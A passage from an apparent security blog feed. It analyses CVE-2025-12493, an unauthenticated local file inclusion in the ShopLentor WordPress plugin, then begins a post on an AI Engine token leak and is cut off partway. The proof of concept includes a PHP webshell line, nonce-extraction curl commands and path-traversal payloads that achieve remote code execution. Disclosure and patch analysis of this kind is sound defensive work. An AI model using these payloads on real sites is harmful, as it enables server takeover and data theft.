&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/woolentor-addons.3.2.5.zip&quot;&gt;&amp;lt;= 3.2.5&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/woolentor-addons.3.2.6.zip&quot;&gt;3.2.6&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;November 3, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/michael-mazzolini&quot;&gt;mikemyers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woolentor-addons/shoplentor-325-unauthenticated-local-php-file-inclusion-via-load-template&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;ShopLentor (also known as WooLentor) is a WooCommerce page builder plugin for WordPress. All versions up to and including 3.2.5 are vulnerable to Local File Inclusion via the &lt;code&gt;load_template&lt;/code&gt; function. Attackers with no login can use this to include and run arbitrary &lt;code&gt;.php&lt;/code&gt; files already on the server. An attacker can bypass access controls, steal sensitive data, or achieve full code execution if they can upload a &lt;code&gt;.php&lt;/code&gt; file to the server.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerability has three connected parts:&lt;/p&gt;
&lt;h4&gt;1. Nonce Exposed Publicly — &lt;code&gt;classes/class.assest_management.php:288&lt;/code&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;$localizeargs = array(
    &apos;woolentorajaxurl&apos; =&amp;gt; admin_url( &apos;admin-ajax.php&apos; ),
    &apos;ajax_nonce&apos;       =&amp;gt; wp_create_nonce( &apos;woolentor_psa_nonce&apos; ),
);
wp_localize_script( &apos;woolentor-widgets-scripts&apos;, &apos;woolentor_addons&apos;, $localizeargs );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The nonce &lt;code&gt;woolentor_psa_nonce&lt;/code&gt; is embedded in every public-facing page as the JavaScript variable &lt;code&gt;woolentor_addons.ajax_nonce&lt;/code&gt;. Any site visitor — authenticated or not — can extract this value from the page HTML.&lt;/p&gt;
&lt;h4&gt;2. AJAX Handler Registered for Unauthenticated Users — &lt;code&gt;classes/class.ajax_actions.php:40–43&lt;/code&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Load more products for product grid
add_action( &apos;wp_ajax_woolentor_load_more_products&apos;, [$this, &apos;load_more_products&apos;] );
add_action( &apos;wp_ajax_nopriv_woolentor_load_more_products&apos;, [$this, &apos;load_more_products&apos;] );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since &lt;code&gt;nopriv&lt;/code&gt; is registered, the &lt;code&gt;load_more_products&lt;/code&gt; handler is callable by anyone — no login required.&lt;/p&gt;
&lt;h4&gt;3. The &lt;code&gt;load_more_products&lt;/code&gt; Handler — &lt;code&gt;classes/class.ajax_actions.php:213–248&lt;/code&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;public function load_more_products() {

    if ( ! class_exists( &apos;WooLentor_Product_Grid_Base&apos; ) ) {
        require_once WOOLENTOR_ADDONS_PL_PATH . &apos;includes/addons/product-grid/base/class.product-grid-base.php&apos;;
    }

    $product_grid_base = new WooLentor_Product_Grid_Base();

    // Verify nonce
    if ( ! isset( $_POST[&apos;nonce&apos;] ) || ! wp_verify_nonce( $_POST[&apos;nonce&apos;], &apos;woolentor_psa_nonce&apos; ) ) {
        wp_send_json_error( array( &apos;message&apos; =&amp;gt; __( &apos;Security check failed&apos;, &apos;woolentor&apos; ) ) );
    }

    // Get settings and page number
    $page = isset( $_POST[&apos;page&apos;] ) ? absint( $_POST[&apos;page&apos;] ) : 2;

    $setting_data = isset( $_POST[&apos;settings&apos;] ) ? (is_string($_POST[&apos;settings&apos;]) ? stripslashes( $_POST[&apos;settings&apos;] ) : &apos;&apos; ) : &apos;&apos;;
    $setting_data = json_decode( $setting_data, true );   // &amp;lt;-- attacker-controlled JSON
    $view_layout = isset( $_POST[&apos;viewlayout&apos;] ) ? $_POST[&apos;viewlayout&apos;] : &apos;&apos;;

    if(!empty($view_layout)){
        $setting_data[&apos;layout&apos;] = $view_layout;
    }

    $setting_data[&apos;paged&apos;] = $page;

    ob_start();
    $product_grid_base-&amp;gt;render_items( $setting_data, true );   // &amp;lt;-- passes tainted $setting_data
    $html = ob_get_clean();

    wp_send_json_success( array( &apos;html&apos; =&amp;gt; $html, &apos;current_page&apos; =&amp;gt; $page ));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The POST body field &lt;code&gt;settings&lt;/code&gt; is JSON-decoded without any sanitization. The code then passes &lt;code&gt;$setting_data&lt;/code&gt; directly to &lt;code&gt;render_items()&lt;/code&gt;, which passes &lt;code&gt;$setting_data[&apos;style&apos;]&lt;/code&gt; — fully controlled by the attacker — to &lt;code&gt;load_template()&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;4. Unsanitized Template Resolution — &lt;code&gt;includes/addons/product-grid/base/class.product-grid-base.php:302–321&lt;/code&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;public function get_template_path( $style, $layout = &apos;grid&apos; ) {
    $specific_template = $style . &apos;.php&apos;;
    $template_path = WOOLENTOR_ADDONS_PL_PATH . &apos;templates/product-grid/&apos; . $specific_template;

    return apply_filters( &apos;woolentor_product_grid_template_path&apos;, $template_path, $style, $layout );
}

public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
    $template_path = $this-&amp;gt;get_template_path( $style, $layout );

    if ( file_exists( $template_path ) ) {
        if ( ! function_exists( &apos;woocommerce_get_product_thumbnail&apos; ) ) {
            return;
        }
        include $template_path;   // &amp;lt;-- direct PHP include of attacker-supplied path
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since there is no whitelist check, no &lt;code&gt;sanitize_key()&lt;/code&gt;, and no path traversal prevention, &lt;code&gt;$style&lt;/code&gt; flows straight into the file path. PHP&apos;s &lt;code&gt;include&lt;/code&gt; then executes whatever &lt;code&gt;.php&lt;/code&gt; file the resolved path points to — including files reached via &lt;code&gt;../&lt;/code&gt; sequences.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The root cause is a two-part failure:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Missing input validation&lt;/strong&gt;: The &lt;code&gt;style&lt;/code&gt; key extracted from &lt;code&gt;$_POST[&apos;settings&apos;]&lt;/code&gt; JSON is never checked against the list of allowed styles (&lt;code&gt;modern&lt;/code&gt;, &lt;code&gt;minimalist&lt;/code&gt;, &lt;code&gt;editorial&lt;/code&gt;, etc.) before being used to construct a file path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing path containment&lt;/strong&gt;: &lt;code&gt;get_template_path()&lt;/code&gt; uses naive string concatenation without calling &lt;code&gt;realpath()&lt;/code&gt; or verifying that the resolved path lies within &lt;code&gt;templates/product-grid/&lt;/code&gt;. A &lt;code&gt;style&lt;/code&gt; value of &lt;code&gt;../../../../wp-content/uploads/malicious&lt;/code&gt; resolves entirely outside the intended directory.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;One existing control — a nonce check — was meant to prevent unauthorized calls. However, it failed for a specific reason: the nonce was public.&lt;/p&gt;
&lt;p&gt;The nonce check (&lt;code&gt;wp_verify_nonce&lt;/code&gt;) looks like a guard, but it is not. The nonce itself is embedded in every public page via &lt;code&gt;wp_localize_script&lt;/code&gt;, so anyone can read it. WordPress nonces are not secrets — they are anti-CSRF tokens tied to the current user session. For visitors who are not logged in, the nonce is generated for the zero-user context and stays valid for 24 hours. Any visitor can extract &lt;code&gt;woolentor_addons.ajax_nonce&lt;/code&gt; from the page source and reuse it to pass the check.&lt;/p&gt;
&lt;p&gt;The nonce only shows the request came from a page with the plugin&apos;s scripts loaded. It does not check whether the caller is logged in or allowed to access files.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;Any attacker who can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read any page that loads ShopLentor widgets (to get the nonce)&lt;/li&gt;
&lt;li&gt;Upload a &lt;code&gt;.php&lt;/code&gt; file via any means (a second vulnerability, a publicly-writable directory, or WooCommerce product image upload)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;can achieve &lt;strong&gt;Remote Code Execution&lt;/strong&gt; (RCE) by including and running the uploaded file. Even without a pre-uploaded file, the attacker can target existing PHP files on shared hosting (such as configuration files) to leak credentials.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;woolentor-addons&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;WooCommerce active&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 3.2.5&lt;/li&gt;
&lt;li&gt;A ShopLentor product grid widget placed on any public page&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Extract the public nonce&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit any page on the target site that renders a ShopLentor product grid (e.g., the homepage or a shop page). The nonce is embedded in the page&apos;s inline JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Extract the nonce from the page source
NONCE=$(curl -s &quot;http://target.example.com/shop/&quot; \
  | grep -oP &apos;&quot;ajax_nonce&quot;\s*:\s*&quot;\K[^&quot;]+&apos;)
echo &quot;Extracted nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output of &lt;code&gt;woolentor_addons.ajax_nonce&lt;/code&gt; in the JavaScript object in the page source will be the raw nonce value.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Prepare a PHP webshell (attacker-controlled server or upload)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For maximum impact, the attacker uploads a PHP file to the server. For example, using a WooCommerce product review image upload or another file-upload vulnerability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php system($_GET[&apos;cmd&apos;]); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Assume it lands at the WordPress uploads directory, e.g.:
&lt;code&gt;/var/www/html/wp-content/uploads/2025/11/shell.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Trigger Local File Inclusion via the AJAX endpoint&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Craft the &lt;code&gt;style&lt;/code&gt; parameter to traverse out of the &lt;code&gt;templates/product-grid/&lt;/code&gt; directory and point at the uploaded shell. For a typical WordPress layout where the plugin is at &lt;code&gt;wp-content/plugins/woolentor-addons/&lt;/code&gt;, the payload needs 4 levels of &lt;code&gt;../&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;http://target.example.com/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=woolentor_load_more_products&quot; \
  -d &quot;nonce=${NONCE}&quot; \
  --data-urlencode &apos;settings={&quot;style&quot;:&quot;../../../../uploads/2025/11/shell&quot;,&quot;layout&quot;:&quot;grid&quot;,&quot;posts_per_page&quot;:1,&quot;query_type&quot;:&quot;products&quot;,&quot;enable_pagination&quot;:false}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server constructs the path:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/var/www/html/wp-content/plugins/woolentor-addons/templates/product-grid/../../../../uploads/2025/11/shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which resolves to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/var/www/html/wp-content/uploads/2025/11/shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Verify code execution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After the AJAX request, check the response. The included PHP file&apos;s output will be embedded in the &lt;code&gt;html&lt;/code&gt; field of the JSON response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# With a webshell included, add a GET parameter to execute a command
curl -s -X POST &quot;http://target.example.com/wp-admin/admin-ajax.php?cmd=id&quot; \
  -d &quot;action=woolentor_load_more_products&quot; \
  -d &quot;nonce=${NONCE}&quot; \
  --data-urlencode &apos;settings={&quot;style&quot;:&quot;../../../../uploads/2025/11/shell&quot;,&quot;layout&quot;:&quot;grid&quot;,&quot;posts_per_page&quot;:1,&quot;query_type&quot;:&quot;products&quot;,&quot;enable_pagination&quot;:false}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The JSON response will contain the output of &lt;code&gt;id&lt;/code&gt; (or whatever command was injected) embedded in the &lt;code&gt;data.html&lt;/code&gt; field, confirming RCE as the web server user.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Inspect the &lt;code&gt;data.html&lt;/code&gt; field of the JSON response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;success&quot;: true,
  &quot;data&quot;: {
    &quot;html&quot;: &quot;uid=33(www-data) gid=33(www-data) groups=33(www-data)\n&quot;,
    &quot;current_page&quot;: 2
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A non-empty command output in &lt;code&gt;html&lt;/code&gt; confirms successful code execution.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The patch modifies &lt;code&gt;includes/addons/product-grid/base/class.product-grid-base.php&lt;/code&gt; with two layered defenses.&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Defense 1 — Strict style whitelist in &lt;code&gt;load_template()&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
-    $template_path = $this-&amp;gt;get_template_path( $style, $layout );
+    $style = isset( $style ) ? sanitize_key( $style ) : &apos;modern&apos;;
+    if ( ! in_array( $style, $this-&amp;gt;get_allowed_styles(), true ) ) {
+        $style = &apos;modern&apos;;
+    }
+    $template_path = $this-&amp;gt;get_template_path( $style );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before calling &lt;code&gt;get_template_path()&lt;/code&gt;, the code now sanitizes &lt;code&gt;$style&lt;/code&gt; with &lt;code&gt;sanitize_key()&lt;/code&gt;, which removes special characters, directory separators, and dots. It then checks the value against a private allowlist from &lt;code&gt;get_allowed_styles()&lt;/code&gt;. If the value is not in the list, it falls back to &lt;code&gt;modern&lt;/code&gt;. In version 3.2.6, the allowlist contains only &lt;code&gt;[&apos;modern&apos;]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Defense 2 — Path containment check in &lt;code&gt;get_template_path()&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-public function get_template_path( $style, $layout = &apos;grid&apos; ) {
-    $specific_template = $style . &apos;.php&apos;;
-    $template_path = WOOLENTOR_ADDONS_PL_PATH . &apos;templates/product-grid/&apos; . $specific_template;
-    return apply_filters( &apos;woolentor_product_grid_template_path&apos;, $template_path, $style, $layout );
-}
+private function get_template_path( string $style ) : string {
+    $base_dir     = wp_normalize_path( WOOLENTOR_ADDONS_PL_PATH . &apos;templates/product-grid/&apos; );
+    $candidate    = wp_normalize_path( $base_dir . $style . &apos;.php&apos; );
+    $real_base    = wp_normalize_path( realpath( $base_dir ) );
+    $real_target  = wp_normalize_path( realpath( $candidate ) );
+
+    if ( ! $real_target || strpos( $real_target, $real_base ) !== 0 || ! is_file( $real_target ) ) {
+        $fallback = wp_normalize_path( $base_dir . &apos;modern.php&apos; );
+        return is_file( $fallback ) ? $fallback : &apos;&apos;;
+    }
+
+    return apply_filters( &apos;woolentor_product_grid_template_path&apos;, $real_target, $style );
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even if the whitelist were bypassed, a second check protects the server. The new &lt;code&gt;get_template_path()&lt;/code&gt; calls &lt;code&gt;realpath()&lt;/code&gt; to find the true path on disk, then confirms that path starts with the expected &lt;code&gt;templates/product-grid/&lt;/code&gt; directory. Any path traversal sequence that escapes the directory is caught and replaced with the &lt;code&gt;modern.php&lt;/code&gt; fallback.&lt;/p&gt;
&lt;p&gt;The fix addresses the root cause at two independent layers — allowlist and path containment. This makes it resistant to both direct exploitation and filter-hook abuse.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;+    private function get_allowed_styles() : array {
+        return [
+            &apos;modern&apos;,
+        ];
+    }

     public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
-        $template_path = $this-&amp;gt;get_template_path( $style, $layout );
+        $style = isset( $style ) ? sanitize_key( $style ) : &apos;modern&apos;;
+        if ( ! in_array( $style, $this-&amp;gt;get_allowed_styles(), true ) ) {
+            $style = &apos;modern&apos;;
+        }
+        $template_path = $this-&amp;gt;get_template_path( $style );
 
         if ( file_exists( $template_path ) ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by mikemyers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 3, 2025&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 4, 2025&lt;/td&gt;
&lt;td&gt;Advisory updated; patched version 3.2.6 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;woolentor-addons&lt;/code&gt; plugin to version &lt;strong&gt;3.2.6&lt;/strong&gt; or later.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/includes/addons/product-grid/base/class.product-grid-base.php#L378&quot;&gt;https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/includes/addons/product-grid/base/class.product-grid-base.php#L378&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L241&quot;&gt;https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L241&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L213&quot;&gt;https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L213&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L42&quot;&gt;https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L42&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3388234/&quot;&gt;https://plugins.trac.wordpress.org/changeset/3388234/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woolentor-addons/shoplentor-325-unauthenticated-local-php-file-inclusion-via-load-template&quot;&gt;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woolentor-addons/shoplentor-325-unauthenticated-local-php-file-inclusion-via-load-template&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-12493&quot;&gt;https://www.cve.org/CVERecord?id=CVE-2025-12493&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2025-12-05T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-11749: Privilege Escalation in AI Engine Plugin</title><link>https://hurayraiit.com/blog/cve-2025-11749-privilege-escalation-ai-engine/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-11749-privilege-escalation-ai-engine/</guid><description>CVE-2025-11749 (CVSS 9.8): AI Engine &lt;= 3.1.3 exposes MCP bearer token via REST API discovery, allowing unauthenticated privilege escalation to administrator.</description><pubDate>Thu, 04 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2025-11749&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/ai-engine/&quot;&gt;AI Engine&lt;/a&gt; WordPress plugin. It allows an unauthenticated attacker to steal a private authentication token and use it to become a site administrator. When the &quot;No-Auth URL&quot; feature is enabled, the plugin leaks its MCP bearer token through the public WordPress REST API discovery index. An attacker who finds that token can authenticate as an administrator, create backdoor admin accounts, and take over the site.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI Engine – The Chatbot, AI Framework &amp;amp; MCP for WordPress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ai-engine&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-11749&quot;&gt;CVE-2025-11749&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Sensitive Information Exposure to Privilege Escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/ai-engine.3.1.3.zip&quot;&gt;&amp;lt;= 3.1.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/ai-engine.3.1.4.zip&quot;&gt;3.1.4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;November 4, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/emiliano-versini-2&quot;&gt;Emiliano Versini&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ai-engine/ai-engine-313-unauthenticated-sensitive-information-exposure-to-privilege-escalation&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The AI Engine plugin (versions up to and including 3.1.3) exposes its private MCP bearer token through the &lt;code&gt;/mcp/v1/&lt;/code&gt; REST API endpoint when the &quot;No-Auth URL&quot; option is enabled. An unauthenticated attacker who finds this token can use it to authenticate as an administrator. From there, they can create new admin accounts and take over the site.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerability lives in &lt;code&gt;labs/mcp.php&lt;/code&gt; within the &lt;code&gt;rest_api_init()&lt;/code&gt; method (lines 98–123).&lt;/p&gt;
&lt;p&gt;When the site administrator enables the &quot;No-Auth URL&quot; feature (&lt;code&gt;mcp_noauth_url&lt;/code&gt; option), the plugin registers WordPress REST API routes with the private bearer token embedded directly in the URL path:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// labs/mcp.php, lines 98-123
$noauth_enabled = $this-&amp;gt;core-&amp;gt;get_option( &apos;mcp_noauth_url&apos; );
if ( $noauth_enabled &amp;amp;&amp;amp; !empty( $this-&amp;gt;bearer_token ) ) {
  register_rest_route( $this-&amp;gt;namespace, &apos;/&apos; . $this-&amp;gt;bearer_token . &apos;/sse&apos;, [
    &apos;methods&apos; =&amp;gt; &apos;GET&apos;,
    &apos;callback&apos; =&amp;gt; [ $this, &apos;handle_sse&apos; ],
    &apos;permission_callback&apos; =&amp;gt; function ( $request ) {
      return $this-&amp;gt;handle_noauth_access( $request );
    },
  ] );

  register_rest_route( $this-&amp;gt;namespace, &apos;/&apos; . $this-&amp;gt;bearer_token . &apos;/sse&apos;, [
    &apos;methods&apos; =&amp;gt; &apos;POST&apos;,
    &apos;callback&apos; =&amp;gt; [ $this, &apos;handle_sse&apos; ],
    &apos;permission_callback&apos; =&amp;gt; function ( $request ) {
      return $this-&amp;gt;handle_noauth_access( $request );
    },
  ] );

  register_rest_route( $this-&amp;gt;namespace, &apos;/&apos; . $this-&amp;gt;bearer_token . &apos;/messages&apos;, [
    &apos;methods&apos; =&amp;gt; &apos;POST&apos;,
    &apos;callback&apos; =&amp;gt; [ $this, &apos;handle_message&apos; ],
    &apos;permission_callback&apos; =&amp;gt; function ( $request ) {
      return $this-&amp;gt;handle_noauth_access( $request );
    },
  ] );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This creates REST routes of the form:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;GET /wp-json/mcp/v1/&amp;lt;BEARER_TOKEN&amp;gt;/sse&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST /wp-json/mcp/v1/&amp;lt;BEARER_TOKEN&amp;gt;/sse&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST /wp-json/mcp/v1/&amp;lt;BEARER_TOKEN&amp;gt;/messages&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of these route registrations includes &lt;code&gt;&apos;show_in_index&apos; =&amp;gt; false&lt;/code&gt;, so WordPress includes them in its public REST API discovery index.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Full execution path to privilege escalation:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
